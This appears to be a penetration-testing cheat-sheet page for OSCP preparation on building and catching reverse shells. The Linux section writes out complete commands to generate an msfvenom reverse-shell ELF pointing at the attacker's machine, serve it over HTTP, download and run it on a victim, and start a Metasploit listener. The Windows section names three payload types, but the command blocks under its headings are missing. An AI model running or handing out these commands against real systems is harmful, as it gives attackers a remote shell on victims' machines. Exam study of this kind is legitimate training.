Making file and listener.

For Linux [OSCP allowed]

On kali linux

# This will make a reverse shell file.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$IP_KALI LPORT=443 -f elf > shell.elf

# This will start the listener in the background, allowing you to send the file later.
python3 -m http.server 8005 &

# Now start the listener with the below command.
msfconsole -q -x "use multi/handler; set payload linux/x64/shell_reverse_tcp; set lhost $IP_KALI; set lport 443; exploit"

On Victim Linux machine:

# Download the file from the server.
wget http://$IP_KALI:8005/shell.elf

# Give Permission for it to run.
chmod 700 shell.elf

# Run the file.
./shell.elf

Check the listener.

For Windows [OSCP allowed]:

There are three types of payload you can use.

All these ways of running the file on the victim windows machine will be the same.

On the victim's Windows machine for running payload:

If you are using CMD:

If you are using powershell:

Type 1: Using powershell_reverse_tcp payload

On kali Linux

Type 2: Using x64/shell/reverse_tcp [Staged payload]

First exploit is sent then the victim connects to the attacker's machine then the shell code is sent.

On kali Linux

Type 3: Using x64/shell_reverse_tcp [Non-Staged payload]

Exploit and shell code are sent Together.

On kali Linux

Last updated